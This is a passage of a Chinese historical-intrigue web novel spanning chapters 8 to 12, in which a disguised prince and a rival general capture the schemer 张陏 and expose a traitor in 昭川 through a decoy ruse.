“这五年来,我也曾派人在兰干打探过,却始终不得消息,前段时间兰干的几场战争中,密探传信回来的消息声称,疑似见到了秦賾,而后,你便都明白了。” 柏萧鹤只淡漠地听着,而后接道:“殿下顾念旧情,着实令人感动。” 信了?还是不信。 他表情没有变化,情绪藏在眸底,向下垂眸时,睫毛遮了大半,秦祉一边说,一边捕捉柏萧鹤的变化。 “既如此,看在殿下替我劳心劳神的这几天,我也定将秦賾,找出来,原样还给殿下。” “殿下!都已经准备好了!”齐庞握着刀打破了屋内陷入僵直的氛围,“但是三儿刚刚派人传话,说......” 他深深吸了一口气:“看见张陏的人进山,准备强攻了。” ---- “张陏先生,此人声称对这片山还算熟悉,说可以带我们走小路上山。”步兵手里拎着一个跟弱鸡一样瘦小的男人,连拖带拽的扯到了那人面前。 此人坐在马车之上,矜贵修长的手上带着白玉扳指,他微微掀起车帘,露出一截紫色锦袍,袖口绣金丝海棠,未见其人,但闻其声。 “这倒是巧,从哪碰上的人?”声音低醇轻缓,但从此人言语之中,叫人无法联想到那位名声赫赫的张陏。 步兵行礼说:“是在附近县外碰上的,经过的时候人正欲跳河,属下听到他自言自语,边哭边骂着齐庞,索性将人带了来。” “跳河?”张陏似乎觉得有趣,尾音一挑,“如今冬季,河面结冰,如何跳河?” “诚心寻死,如何都跳得了!”那人挣扎着喊道。 “为何寻死?” “齐庞这个、贱人,带着一群人把我们家仅剩的吃食钱财都抢夺一空,叫我如何不恨!我母亲本就病重,如今什么都没了......”说着泪水如泉涌,霹雳吧啦的滚落,顷刻间爬了满脸。 “就在今早,她活活病死在家,我是个不孝子!是我不孝,我没有守住钱,如果我当时能打得过他们,如何会发生这种事!” “如今我家破人忙,我该怎么办……” “你让我怎么活下去,母亲死了,你让我怎么活下去啊!”他近乎咆哮着吼出这句话,而后瘫倒在地,头深深埋进去,只能看见止不住颤抖的身子,发出破碎的哭声。 张陏饶有兴致的观赏着,慢条斯理道:“如今有一机会,可替你母亲......” 他细细品味着这两个字,继续道:“复仇,你可愿意?” 少年从怀中抬起头,露出一双哭的通红的眼:“愿意,我愿意!” “只要复仇,我死也愿意!” 张陏缓缓起身,从马车内走出,黑暗中,少年看清了那人的脸,当即呼吸慢了半瞬。 那是一张何等貌美的脸,满头乌发半扎束以挂珠金簪,剩余则披散着落在肩头,发丝下,那双眼状似桃花,眼角红晕浸染,妖冶,多情。 张陏连多余的一个眼神都没有给这个少年,他只是微微挥手,在步兵耳旁不知说了什么,少年惊惧的目光中,只看见那步兵眼神中闪过一丝诧异,然后低头领命,转身离开。 张陏翻身上马,音量微微抬高:“所有人检查装备,无误即刻进山,这一次,我要活捉了他。” 黑夜降临,举目皆黑。 山中隐约闪过一丝火光,看不真切。 三儿抻着脖子,用手指着远处的半山腰:“瞧见了吗,殿下,这不是我们看错了。” “这路走的,果然不对吧?” “按照舆图来看,他们现在分明走偏了不少,这是要去哪?换条路打过来吗?”三儿不解的挠了挠头。 “你怎么看?”秦祉微微皱眉,“这可有他解?” “不会。”柏萧鹤果决道,月光下,他眼中闪烁着细碎的光,眉宇间尽是身为常胜将军的自信和泰然自若,“夜已深,若非举火把,山中险要堪称寸步难行,而张陏偏又走了这种路线......” “我怀疑,大概是有人在带路。” “这附近可有什么村民是进过山的?”秦祉立刻问道。 三儿摇了摇头说:“没有,哪怕是山寨里的人,除了经常上下山的弟兄,其余人也是不了解这山的。” “那就只剩下最后一种情况了。”秦祉闭了闭眼,再次睁开时满是复杂的情绪。 “什么...情况?”三儿突然有种不好的预感,却不知是因何产生。 “今夜未必打得起来。”柏萧鹤说。 秦祉叹道:“是啊,打不起来。” “那么…” “你的人什么时候到?”秦祉话锋一转,突然发问,两人离得极近,秦祉清晰可见对方眸光一闪。 “殿下…” “浮生两个时辰前就已经离开了。”秦祉直接打断了他的话,“你到底在计划什么?” “你我二人好歹也是同患难,待过一个地牢的人,你竟然对我有疑心。”独特 8. 第 8 章 《白首相知犹按剑》全本免费阅读 初光乍现,天蒙蒙亮起,秦祉抱着剑靠墙而坐,闭眼小憩,门外浮生已经将柏萧鹤唤了出去: “将军,万事俱备。” “只是......” 接来几夜不曾休息好,柏萧鹤气压极低,冷声道:“有事便说。” “守在昭川郡外的人报信说,看见城内疑似太守府兵出动了。” “虞仓寅呢?” “仍未见其人。” 柏萧鹤朝屋内望了一眼,说:“晋赭王那边八成有动作,只是不知会有哪一方人来,先静观其变。” “是。” 柏萧鹤再度推门进屋时,恰好对上秦祉的视线,他挑眉:“醒了?” “门一开一关,冷风这么大,当然会醒。”秦祉说,“看样子浮生回来了,这一战可有多大胜算?” “那要看殿下给的好处有多少了?”柏萧鹤笑说,“放心,我还等着殿下为我解决白盐一事,自然不会亏待殿下。” “你自当全力,不然咱俩一起死在这无名无分的山上,算怎么回事?” “算殉情啊。”轻飘飘的一句。 “你我之前,谈何情谊?”秦祉反问,“莫非柏将军竟与燕安皇室一样也是好男色的?” “什么?”柏萧鹤一顿,随即失笑退了半步,“殿下,我曾听过有关晋赭王好男色的传闻,原以为是弄虚作假当不得真,如今看来竟是实情?” 秦祉往前上了一步,不料对方又是一退,她瞧着柏萧鹤,半响忍不住笑出了声,随即一把推开他,从他身侧擦肩而过,大步离去。 只留下一句“本王便是,你自当小心行事,毕竟浪昭之相貌,深得我心啊”回荡在空中。 人是走了,可站在门外的浮生却目睹了全部,他微微伸进半颗脑袋:“将军,他这是什么意思?” 柏萧鹤扫他一眼:“滚。” “得嘞。”一眨眼人便跑的无影无踪。 ---- 通往山寨的那条路,被乱石挡住,足足累了一米高,看样子是昨日临时摆出来的,乱七八糟没个章法。 躲在乱石之后的,是三四十个山寨的兄弟。 “殿下,这样就可以了吗?”齐庞紧张的手心冒汗,刀柄都快握不住了。 “我们地势高,道路也窄,他们不会轻易强攻,石头砸下去,摔下山也是会死人的。”秦祉说,“张陏一向不喜欢这种打法,他钟爱兵不血刃。” 远处马蹄踏地的声音响起,越来越近,如同战场上的鼓点,沉沉击中每个人的心。 “来了。”秦祉说。 齐庞呼吸骤然急促,自打做成了山匪,他便从未见过眼前这阵仗,几十号人浩浩荡荡的从山下缓步而来,黑压压遮了一大片。 但恰好在射程范围之外,停下了。 “晋赭王!”自有一人阵前喊话,“如今你孤身一人被困此山,我等奉命前来抓你,劝你即刻投降,不要再做无谓的抵抗!” “什……么?”齐庞等人都愣了神,偶有几声低语,怀疑的视线也都同样落在秦祉身上。 “殿下,有些不妙。”柏萧鹤单膝跪地蹲在身侧,小声咬着耳朵,“身边这些人要是临时反水,我们就真的被动了。” “张陏这个狗!”秦祉忍不住低骂一句,扬声喊了回去,“即是针对本王,如何残杀在山寨侥幸存活的百姓?” 熟悉的声音从上面石阵传来,张陏终于多了一分真切的笑意。 “不过一群山匪,死便死……啊!”这人没说完,被从后方突然扔出来的一颗石子砸中了脑袋,止住了后面的话。 张陏冰冷的视线警告地看他一眼,而后朗声道:“那是一个意外。” “山寨中的各位,属实是在下没有管理好手下,他们尚不知情,才闹出如此悲剧,我也十分痛心疾首。”说着他单只手微微遮挡住面容,“若你们现在放弃抵抗,我张陏可保你们平安,且定会答应你们,替你的好兄弟们报仇,处置部下。” “晋赭王是梌州的王,在西州地盘未免有些心有余而力不足了,何况她明知我们是为她而来,她可有半句和你们说起过?” 张陏,也一向擅长蛊惑人心。 山寨这些人的神色变了,有些人疑惑的偷偷打量那容貌出众的男人,有些人愤愤不平的瞪着秦祉。 而拥有话语权的齐庞,则陷入了沉默。 若张陏所言有假,并非为晋赭王而来,他又怎会知道如今这小小一个山头,竟藏匿着皇室宗亲? 可若他所言句句属实…… 齐庞看向了秦祉和柏萧鹤。 “我很早就想问了。”齐庞说,“他是谁?” “他的身份,不是什么你的属下近卫,是不是?” “齐庞,他是……” “殿下,我该相信你吗?”齐庞绝望地看着她的眼睛,似乎在哭,又似乎没有。 “晋赭王,我只想知道,到底如何才能带着兄弟们活下去……” “你可以信他。”柏萧鹤说,“就算你不清楚张陏为人,他是阮义阵营的人,昨日那耸人的京观,不是你亲自指给我们看的吗?” 见齐庞没有反应,柏萧鹤暗自伸出手指戳了戳秦祉:“殿下,你也说点什么。” “怎么还全指望着我?” 秦祉沉下心,这才开口:“齐庞,我不清楚你了解多少张陏的事,但可以告诉你的是,孟先最恨阮义为人,而张陏身为其党羽,同流合污无恶不作。” “你若此刻轻信了张陏的小人之言,今后如何再见孟先?” “何况昨夜,我们曾收到一只大箭带来的衣物,三儿当时也在场。” 赫然被点名,三儿一惊,急忙说:“是,我、我也看见了,是从山下射来的,一团带血的衣物,只是殿下他当时直接收了起来,说是张陏挑衅没有什么要紧的,我就没跟大哥你说……” “浮生。”柏萧鹤吩咐道,“拿给齐庞看看。” 浮生从包裹中将那件带血的衣服抖开,熟悉又陌生的款式在众人眼前铺平。 “这、这是?”三儿惊疑地看着这破旧的衣服,只可惜诚如张陏所言,这种穷苦百姓穿的东西,都是大差不大,又怎么可能一眼认出。 “什么意思?” 秦祉一字一顿道:“下山之人中,是否有如此大的少年,跟着一起行动,且并未归来。” 齐庞一瞬间失声 9. 第 9 章 《白首相知犹按剑》全本免费阅读 张陏示意部下放下武器,而后垂眸看向小亲王,语气亲昵:“好久不见,殿下。” “怎么如今和兰干的人厮混到一处去了,着实让在下意外。” “你也一样。”秦祉说,“不好好守着你们好不容易撕扯争到的地盘,跑回西州做什么?” “在下自然是因为对殿下你念念不忘。”张陏微微将眼神分给了柏萧鹤,故作埋怨,“看来殿下有了新欢便忘了旧爱了。” “看不出来,四处留情啊。”柏萧鹤低声感慨一句,而后脚背一疼,硬生生挨了秦祉一下,发出“嘶”一声。 “看样子感情不错。”张陏低笑一声,“只是不知道你对这个小骗子了解多少。” “张陏,少说废话。”秦祉平静地看着他,“在场想要你性命之人可不在少数。” “殿下紧张了?”张陏翻身下马,双手合拢微微作揖后,又凑近了一步,被剑抵喉,他浑然不在乎,只一味盯着秦祉,说,“不知柏将军如今站在你身侧,可知道你的身份?” 张陏微微侧目,又看着柏萧鹤,刚开口:“你......啊!” 只见柏萧鹤回以微笑,而后听都不听,当即一脚将人踹飞出去。 张陏在空中飞出几米,落到地面,咳了半天,身上滚了雪,头发微散,显得些许狼狈,他脸色不太好看的支起身。 “张陏先生!”部下惊呼一声,怒气上头,“你简直找死,竟然敢......” 一只长箭猛地钉入那人胸膛,浮生人站在高处,手持弯弓,眉眼冷漠,见众人回头,他微微勾起唇角,轻声道:“不好意思,手滑了。” 默契使然,山寨的人看傻了眼,都愣在原地瞧着,反观柏萧鹤的部下,浮生的那一箭犹如一个信号,顷刻之间,将张陏包围。 其他人见状一时都没了动作,前后皆是围兵,又不得张陏命令,不能轻易动手。 “想怎么做?”柏萧鹤问。 秦祉沉默两秒,这才说:“今日你我一同出现在西州一事,恐怕会传遍中原,兰干此番便不得不加入混战。” “兰干王年幼,大权尚握在兰干相荀谌手中,待我们寻到虞仓寅,解决完运盐一事,本王有必要和你一起回兰干。” 张陏尚且杀不得,此人背后牵扯利益甚多,可谓是牵一发而动全身。 “他不动,其余人呢?”柏萧鹤随手一指,语气轻缓,“杀?” 秦祉点头:“杀。” 下一刻,兵刃相接。 刀光剑影中,白雪被覆以赤色,如一卷水墨画,慢慢晕染整个山间。 ---- “为何不杀张陏!” 耽搁的时间太久,秦祉打算加快进程,直接下山朝着昭川出发,却不想离开的脚步被齐庞拦住了。 齐庞瞪着秦祉身后的男人,恶狠狠吼道:“他才是主谋,为何不杀?” 张陏听到这想要讥讽两句,笑声刚从口中泄出一点,便被秦祉一掌砸了回去,捂着肚子兀自咳了半天,咬牙骂道:“咳咳...你们两人可真是......” “都已经是俘虏了,就少说两句吧。”秦祉头也不回道,“各位,本王明白你们想要报仇的心,可张陏身份特殊,就算是死,也不能死在这,不能死在你们手上,不然......” “晋赭王你他妈放屁!”有人突然怒喊,“是你说要我们手刃仇人,我们自己选择的路,凭什么现在你要救他!” 秦祉一怔:“这话你说的吧?” 柏萧鹤无辜的摊手。 秦祉叹了口气,觉得头疼:“没功夫再聊了,这些人说不通道理,叫你的人断后,他们武力不行,不过糊弄人罢了,我们直接冲下去。” 柏萧鹤给了浮生一个眼神:“照他说的办。” 浮生领会,突然纵马加速,长剑划地而过,将地上泥雪掀飞,空气骤然一混,众人的视线就此被隔绝。 秦祉与柏萧鹤二人趁机挥鞭,马蹄翻飞朝着山下颠簸而去,身后是山寨接二连三的怒骂和飞出的石块,最终还是留在了山中,没了踪迹。 ---- 一辆精贵的马车从林间窜出,复道两侧豁然开阔,一路颠簸着顺杜交河而行,昭川城门遥遥可见,逐渐显出轮廓。 张陏人相当悠闲自如的在马车内半卧,眉眼一掀,丝毫看不出双手被绑、居于人下的落魄。 “殿下此次在翼州闹了场大乱,樵阳如今好生热闹,周氏一族可是气的不行,原本梌州士族便有人想要拥护你为天子,这下可好,周氏得了机会,声称要出兵梌州呢。” “不过如今晋赭要是与兰干联手,周氏怕是需三思而后行。”张陏挣扎着起身,凑近半分,“殿下,这一步棋下的妙啊。” “樵阳血流成河?”秦祉淡淡反问。 “这我怎会知道?”张陏佯装惊讶,“不论实情如何,都只是个出兵的借口罢了。” “楚旻呢?” “他啊,被殿下的人带走了。”张陏说,“周令扑了个空,没有逮到人。” 这才是翼州樵阳休战盟约真正的目的,周令的打算从来只有两个,架空控制身为皇室宗亲的楚旻,以及诛杀晋赭王。 如今两项皆被阻碍,周令能稳得住才怪。 “到昭川郡内了。”柏萧鹤淡淡出声提醒,拉回了二人的注意力。 张陏表情一顿:“昭川?” “殿下,你若是去昭川,还是别带上在下为妙。”他说,“在下可不愿见那昭川太守,他会活活扒了我的皮的。” “别担心,总会保你一命。” “话虽这么说,谁不知晋赭王向来无情,你若反悔,我找谁哭去?”张陏挣了挣手腕上的麻绳,说,“替我解开?好歹柏将军在这,我又跑不掉。” “无情着呢。”秦祉随口扯道,便转头掀起车帘朝外看去了,留下柏萧鹤和张陏面面相觑,一时无言。 张陏叹了一口气,说话也正经起来:“你如何帮衬着她,跟着一起来西州,甚至无人知晓你们二人暗中勾结。” 可惜柏萧鹤不是秦祉,他懒得搭理此人的鬼话连篇,干脆闭上了眼。 张陏没料到他如此反应,人是这样的,话多则言必失,只要他开口,总能在细枝末节中露出马脚,即便是谎言。 可即便是谎言,这人也懒得和他说。 张陏伸脚够了够秦祉:“殿下,柏将军冷漠的很,在下同他相处在一辆马车之中,都要感觉呼吸不畅了。” “好办啊。”秦祉说,“拿绳子拖在外面,你就可以尽情享受呼吸了。” “张陏先生。”秦祉眼神真诚,“要吗?” 他偏头咳了两声,岔开话题:“这一脚一拳,在下貌似留下了后遗症,难受的很啊...” ---- 艳阳高照,渌水河上冰面欲化,入眼一片波光粼粼,山水相依之间,昭川主城赫然立于眼前,茫茫大地之间高高耸立其间,气势滂沱。 即将逼近城门时,一守门士兵拦截在前,喊道:“停车!” 马车前浮生将过所递给他,却不料那士兵看了一眼,并未放他们离去,斜眼打量着:“马车上可还有人?” 不等浮生回话,他又说:“车上人都下来,例行检查。” “慢着,过所已经给你了,因何不放?”浮生身形未动,仅一道眼神逼退士兵,“马车上乃是昭川太守虞仓寅的贵上宾,不得无礼。” “贵上宾?”士兵狐疑地瞧着浮生的穿着举止,复而扫过那辆镶金嵌宝的马车,说,“眼下特殊时期,上头有令,无论什么人进出昭川都要例行检查。” “请里面的人下车!” 马车帷幔近乎纹丝未动,偶拂 10. 第 10 章 《白首相知犹按剑》全本免费阅读 秦祉端坐着闭目养神,耳边只闻车辙压地发出“咕噜咕噜”的声响,从她上车后,张陏一直单手捂着左眼,缩在角落不出声,看样子愤愤不平。 叫柏萧鹤打了吧。 活该。 秦祉心里这么想着,全当看不见,说:“眼下昭川进出查的严,看来虞仓寅果真带人逃了回来。” 柏萧鹤单手撑在车轩,看着她的侧脸没吱声。 昭川太守派府兵从偏门偷偷出动,原以为是秦祉安排的人手,如今看来,竟是他疑心错了。 此人是当真只凭自己在行动? “主子,昭川城内有异象。”帷幔外浮生的声音传来,“我一路观察,小巷三三两两聚集宛如百姓的人,神色怪异,见我们马车都十分警惕。” 秦祉同柏萧鹤对视一眼,听他道:“不必理会,叫人盯着点就行,眼下见虞仓寅才是正事。” “此番行刺没有征兆,恐怕即便是虞仓寅也未必知晓对方身份。”秦祉道,“但我有一问题,还想请柏将军做以解答。” 柏萧鹤惜字如金:“问。” “若是虞氏不慎命丧纵岳山,你当如何?” 听到此处,张陏有了反应,他掀起眼帘看了过来。 柏萧鹤闻言缓慢开口:“你怀疑是我派人截杀虞氏?” 秦祉靠坐在对侧,远远看他,半响才道:“我觉得......得不偿失。” “你想的够全。”柏萧鹤讥讽一声,说,“若是虞氏不慎丧命,昭川便将拱手让与他人,不论这人是谁,此地至少数月战事不消,兰干的盐便还要再等上不知何月。” “所以才更要攻下来。”张陏突然插嘴,“一旦虞氏谈不下来,便干脆把昭川变成兰干的呀。” “殿下,虞氏被人截杀的消息,可是谁告诉你的?”他坦然自若,单手摩挲着受伤红晕的眼皮,说,“除了这位将军,昭川太守遇刺这事,可还没传出去呢。” 马车里气氛骤然降到了极点,一时之间竟没有人再说话,三人仿佛各怀鬼胎。 “晋赭王说你最擅长言语蛊惑人心,倒是所言不虚。”柏萧鹤漆黑的瞳孔如寒潭幽深,他似笑非笑道,“另一只眼睛也干脆别要了。” “啊,殿下!”柏萧鹤动作极快,饶是张陏提前做足了准备,也只是堪堪避开,朝着秦祉身后躲去,“这人见事情败露便要杀人灭口,殿下你也不管?” 秦祉本坐的好好的,硬是又被当了挡箭牌,生怕刚刚马车上那一幕重演,连忙止住了这场闹剧:“都别闹了。” “非要坐实我晋赭王喜好男色白日宣淫的传言是不是?” 张陏微微歪头,欲靠着秦祉肩膀,被秦祉突然一晃让开了位置,身子一歪差点栽倒。 马车晃晃悠悠地停下,车外浮生的声音传来:“主子,到了。” 秦祉伏身靠近柏萧鹤。 “五年前都邑乱战,兰干部下单是将军就来了两位,分别是中郎将花颍慈,与属国校尉葛卫,明里暗里掺和着党羽之争。”她表情意味深长,“如今既不北攻昭川,也不再掺手中原。” “这倒与五年前作风大不相同了。” 马车缓缓停下,秦祉并未再看柏萧鹤的神色,掀开帷幔珠帘,扬长而去。 五年前...... 柏萧鹤垂下眼帘,半响低笑一声,似有似无,像是回忆。 ---- 昭川太守府外,自有侍从在此等候了半天,见着马车上的尊客,连忙三步并作两步上前:“晋赭王殿下,我奉太守之命再此恭候,太守因身子伤势过重,不能前来迎接。” 虞仓寅果然还活着。 “他现下如何?” “郎中来瞧过,开了药,眼下便是养伤,等到来年开春兴许就能痊愈。”侍从低头回应着,却疑惑地扫了一眼身后的男子,这一眼不看也罢,看了反叫那人冰凉的视线逼了回来,吓得他差点一脚迈空。 晋赭王尚未到达府邸,百姓间的小话就已经传开了花,他站在门口听着外边嘀嘀咕咕的议论着,叫人打听了才知,昭川城门外那荒唐事。 本见着晋赭王,他并未多想,只当是什么玩笑话,可这人模样无可挑剔不说,还始终一言不发,近乎亦步亦趋的跟在身后,着实让人猜疑。 马车仍有动静,侍从往后一瞥,又是一惊。 那上边竟又走下一貌美男子? 他看向晋赭王表情微微扭曲了一瞬。 “虞氏其他人呢,尚留在昭川,还是迁居他处?”秦祉突然问话打断了此人乱七八糟的思绪。 侍从将脑子里的想法都撇了出去,回道,“太守的势力如今皆数在昭川,尚未兵变奇袭的情况下,昭川便是最安全的地方。” 秦祉动作顿了一下,她平淡地扫侍从一眼:“如此,本王也放心了。” ---- 积雪搭盖在房檐,偶尔扑簌簌洒落一小块,又叫院子里的侍女扫干净了。 太守府一如既往的清静,偶有一缕白烟顺门缝钻出,散在白茫茫的空气之中,隐约弥漫着一股艾草味来。 “咳咳,殿下。”虞仓寅着常服半卧在榻,虽一副病容,连眉眼都染上几分病气,但却不难看出仍精心梳洗过,他掀开被褥便要起身,被秦祉抬手拦住了,“如今伤势未好,你我之间便不必虚礼。” 虞仓寅重新倚了回去,吩咐侍从:“打开窗散散病气,屋内艾草味重,别熏着殿下。” “不必,外面寒冬腊月,冷气很足,别吹着了再染上风寒。”秦祉摆手叫人下去,说,“我也是昨个才知道,连夜赶来只想问你一句,纵岳山下到底发生了什么,二百兵马竟牺牲了大半,才险些保你一命?” 虞仓寅微微叹了口气,因着伤口的疼痛始终皱着眉:“若非有内应,本不至于于此,死的人中足足半数,早早叫人策反。” “翼州樵阳,是鸿门宴,入了局便是沾了腥,甩都甩不掉,我带人返回昭川,这一路都有人紧逼不放,不得不冒险走纵岳山,后有虎前便是狼。” “兰干的柏萧鹤更是头开了荤的恶犬,带着人堵在下山路上,不狠狠咬下一块肉决不罢休,我只能按 11. 第 11 章 《白首相知犹按剑》全本免费阅读 虞仓寅终归伤势未好,强打起精神聊了几句,又睡下了。 秦祉被侍从引入谒舍,坐在了案几旁:“只要将这内奸捉住,运盐一事便不成问题,柏将军,该你出力了。” 柏萧鹤意有所指道:“这事我怎么好插手,本就是怀疑对象之一啊。” “正是为了洗清嫌疑。”秦祉促狭道,“虞氏一族目前都不在昭川,虞仓寅的用意非常明显了。” “因为那侍从故言其他,看样子殿下也不得信任。”柏萧鹤若有所思,“可若是人人都可被怀疑的话,为何他本人可以摘得出去?” 秦祉倏而抬起眼:“你的意思是...” “虞仓寅自导自演,搭了个戏台子请我们来观戏?” “是引殿下观戏。”柏萧鹤说,“我与张陏的出现,皆不在他意料之中。” “那么目的是什么?”秦祉喝了口茶,说,“若是虞仓寅故意设计引自己府兵互相残杀,得不偿失,除非......” 秦祉悟道:“是要铲除异己。” 见到柏萧鹤赞许的点头,秦祉摇头调侃:“先别急着下定论,若是虞仓寅当真无辜,你这番话,他怕是气的将你丢进渌水河里,白盐的事你就自己下河里捞去吧。” ---- 屋内香炉烟雾腾天,带着热浪弥漫,秦祉阖眼半卧在榻,窗户外一片清明,树影微斜,已是过了响午。 突然一道声音穿破寂静,秦祉听见了点动静,微微转醒。 “兄长!”身着锦衣的男子叫喊着冲进了院中,脚步飞快,声音听着也相当活力。 “哎呀公子,你可慢着点走,落雪下结冰,别摔着了!”侍女见状连忙惊呼。 “不能!”他笑着挥手,而后推门唤道,“兄长,我听人说晋赭王来昭川了?” “你怎么又跑出来了?”虞仓寅眉宇间透着忧色,叹道,“不是叫你在府中待着,如今昭川动荡,几日前你我还曾经历何等耸人之事,你别再到处添乱了。” 虞荆一双眼瞪得极大,他惊诧道:“正是因为出了这种事,我才更放心不下你了。” “那日我们的行动全然是按照晋赭王的指令行事,怎么偏就出了这种事,如今兄长你还没痊愈,他却亲临昭川,简直其心可诛!” “我定得去找他问个明白!”虞荆说着又要掉头往谒舍的方向去,行事作风全然只有莽撞一词概括。 “虞子甘!”虞仓寅骤然提高音量,伤口抻了一下,倒吸一口凉气,表情痛苦,却仍然要翻身下榻。 “兄长,你这是做什么!”虞荆吓了一跳,连忙上去搀扶,“你身上伤未好,千万别下床啊。” 虞仓寅缓了半天,这才低声斥责:“殿下乃是皇室宗亲,岂是你能随意指责的,简直是胡来!” “我不去就是了,你何必动气?”虞荆抿着唇坐了下来,“可不去问清楚,又怎么对得起兄长你受的伤?” “他现在跑过来,说不定怎么筹谋着要下手呢。”他在一旁嘀嘀咕咕。 虞仓寅无奈道:“殿下此番是为兰干运盐一事而来,你不许再胡言,若是传到了殿下耳中,为兄如何替你说情?” “借口不是随便找找就是了?”虞荆拉着他的衣袖,“兄长,你平时不是聪明的很,怎么到了现在这种时候,反而糊涂了!” “我自有判断,即便晋赭王有私心,也不可能明面动手,暗中我派人盯着他了。”虞仓寅道,“所以你可放心回去了?” “如此,我才稍微宽心一些了。”虞荆没有动身,反而替他掖了掖被角。 虞仓寅面色平淡的看他,良久,他说:“只是眼下昭川出事,刺杀的幕后主使大抵也就是西州其他几个阵营,刺杀不成下一步或许就要开打,殿下特意来请我们去避一避风头。” “因此我们设计了两条线路,可率领虞氏一族到兰干暂且避难。” “不是,等等?”虞荆表情复杂,似乎搞不明白,“这怎么好轻信了晋赭王?而且兰干花颍慈和我们虞氏有血海深仇。” “让我们去兰干避难,他晋赭王果然没安好心!” “再者说,我们一走,昭川岂不是轻易落人手中,太守的位置你不要了?”他情绪激动,“眼前仗还没打,兄长你便要逃?你何曾是这样胆小怕事的人了,纵岳山一事竟是吓坏你了,叫你变成现在这般模……” “你放肆!”虞仓寅咳了半天,将虞荆的手打开,“你这番不成大事,叫我如何信任你去替我周全此事?” 虞荆见状连忙拍着他的背,解释说:“我只是一时想不明白才口无遮拦,兄长别动怒,消消气、消消气……” “我们此番不是逃。”虞仓寅缓了一会儿,正色道,“而是乱世之中,我们必须要站队。” “所以兄长是决定选择晋赭王了?” “晋赭王仁心善举,晋赭上下百姓安宁,选他无可厚非。” 虞荆思付几许,低声说:“既然如此...既然兄长已经做了决定,我便都挺兄长的,撤离路线和计划是如何,我好去做准备。” 虞仓寅似乎舒了一口气,他抬手抓了两下虞荆的胳膊,说:“子甘,如今能让我安心信任的,便也只有你了...” 他被搀扶着坐到案几前,摆开纸墨,在上面画下简易的路观图:“我和殿下计划两条路线,一是绕纵岳山入兰干,二是走渌水河。” “我希望由你带着亲眷,随晋赭王从昭川正门出,走纵岳山一带,而我则只带一暗卫,坐船走渌水河,但对外仍宣称,太守留守昭川,以此迷惑旁人。” “这怎么可以?”虞荆摇头,“你只带一名暗卫,若是真遇危险,该当如何?” “这你不必担忧。”虞仓寅说,“我会再派至少十支队伍,扮成我的样貌渡河,以此混淆视听。” “此事晋赭王可知晓?” “自然要说。”虞仓寅点头,“不然你们同他一起行动,他必然会寻我的踪迹。” “我已派人传信给族中长老说明此事,明日一早你便带人去接应。”虞仓寅刻意停顿,“只是……切记小心行事。” ---- 翌日。 “殿下,一切准备就绪,现在即可出发。”门外侍女前来叫人,等了片刻后,屋 12. 第 12 章 《白首相知犹按剑》全本免费阅读 马车部队浩浩荡荡地从昭川正门驶出,一路奔纵岳山方向而去,虞荆坐在略显颠簸的车舆,眉头紧锁。 那晋赭王身边的男人究竟是谁? 为何会如此眼熟? 他脑子成了一团乱麻,但来不及多想,马车外的侍从已经吱声打断:“公子,晋赭王邀您同行。” “哦,知道了。”虞荆应了一声,心道,总能想起来的,若实在不行趁机试探两句也是好的。 这么想着,他便换了车,登上前方那辆镶金马车。 车内晋赭王端坐在位,他身侧,那位男子抱臂斜靠着,两双视线同时落到他身上,虞荆下意识动作一僵,旋即说:“晚生虞荆,见过殿下。” 晋赭王微微抬手,眉眼间皆是傲气:“我请你来,是有话想问,听闻虞太守相当信任你,本王与孟先交好,因而也想问你一句,可有入仕的想法?” 虞荆有些愣神,而后说:“殿下,这是...何意?” “自然是器重你呀。”张陏说,“就是不知你能否担当大任。” “若是殿下愿意给晚生这个机会,晚生自当竭尽全力,替兄长和殿下分忧。”虞荆内心举棋不定,他搞不清这晋赭王究竟何意,只能硬着头皮顺着话往下聊。 “那么...”那小亲王似乎是闲扯,语气飘然,“昭川太守一位,你意下如何?” 虞荆登时心中猛沉一下,开始狂跳不止,他竭力露出一个不解的笑,说:“殿下,您这就有些说笑了,昭川太守乃是我兄长,与我又有和干系呢?” 虞荆因为内心不安,没有再言,晋赭王则是闭上了眼不愿多说,唯有张陏,原本像是没骨头般斜卧着的身躯微微坐直了,他理了理散开的衣袍,笑道:“瞧你们,这可真是,话不投机半句多。” “虞荆啊虞荆。”张陏一旦收敛了那份闲散的模样,就显得极为阴暗,他说,“你还真是让在下失望。” “…什么?”虞荆觉得自打面前这二人从自己眼前出现的时候,他这心跳就没正常过,“你到底是……” 凌空一声鹰唳,在山谷幽深中荡气回肠。 马车猛然一停,虞荆的话音被横刀截断,他带着怒气回头质问:“怎么驾车的?” 车外,那人手臂一展,苍鹰准确落下,振动几下翅膀,他低声道:“事已成。” “什么事已成?”虞荆急掠掀起车帘,迎面险些亲上一只硕大的鹰,吓得他整个人往后一倒,栽倒在秦祉脚旁,声音都在抖,“这是、什么?鹰?” 晋赭王神色骤然放松,他挠了挠头,呼出一口气说:“结束了?太好了,总算用不着再装。” 虞荆手肘撑地,听到此话,凉意瞬间从脚底蔓延全身,那晋赭王就在他头顶有了动作,他甚至都不敢抬头看去。 “还是看看吧,总归要知道自己是怎么死的。”张陏的话跟索命的鬼一般,飘进了虞荆耳中。 恍惚之中,虞荆僵硬着,强迫上移着视线,而后,他看见...晋赭王摘下了象征身份的珠饰,收到了一旁的包裹中,说:“我从不带这些东西,因为上战场不方便。” “这回能穿戴晋赭亲王的服饰招摇撞骗,也算是过足了瘾。”他居高临下,朝着虞荆虚礼道,“别部司马浮生,见过虞公子。” ---- 江面上冷风呼啸,码头往来行人络绎不绝。 秦祉披着大氅顶风而立,偶尔偏头咳几声,故作羸弱的模样,而后正色说:“你应该像我这样,哎,学一下。” 她手肘怼了怼柏萧鹤,柏萧鹤瞥她一眼,说:“殿下,戏过了。” “你懂什么?”秦祉道,“虞仓寅伤势未愈,这江面上风这么大,病态是必须的,不然像你现在壮的跟牛一样,就算他们行动了派人来行刺,如何敢认你就是昭川太守虞仓寅?” “快,咳两声。”她兴奋道。 “壮的跟牛一样”的柏萧鹤:“咳。” 秦祉:“……算了。” 远处运货商船正在搬运着一袋袋沉重的货箱,嘈杂的人群之中,隐约闪过不平凡的身影。 秦祉遥遥一指,说:“看那边!” 柏萧鹤顺势望去,目光所及之处不过是几艘船舶停靠在岸边,没等他出声询问,秦祉悄无声息的拉着他的衣袖防备着,给了他腹部一拳,力道不大,但也足够让他弯腰……不是咳,是差点吐出来。 柏萧鹤额头青筋一跳。 “哎呀虞太、大人!”秦祉连忙伸手去扶,看似关怀,实则低头的一瞬间,笑意从眼底溢了出来,她忍笑到,“您没事吧?” 柏萧鹤眼中被逼出水雾,冷眼睨她:“要不你来试试?” 说着,柏萧鹤手一抬,秦祉当即一避。 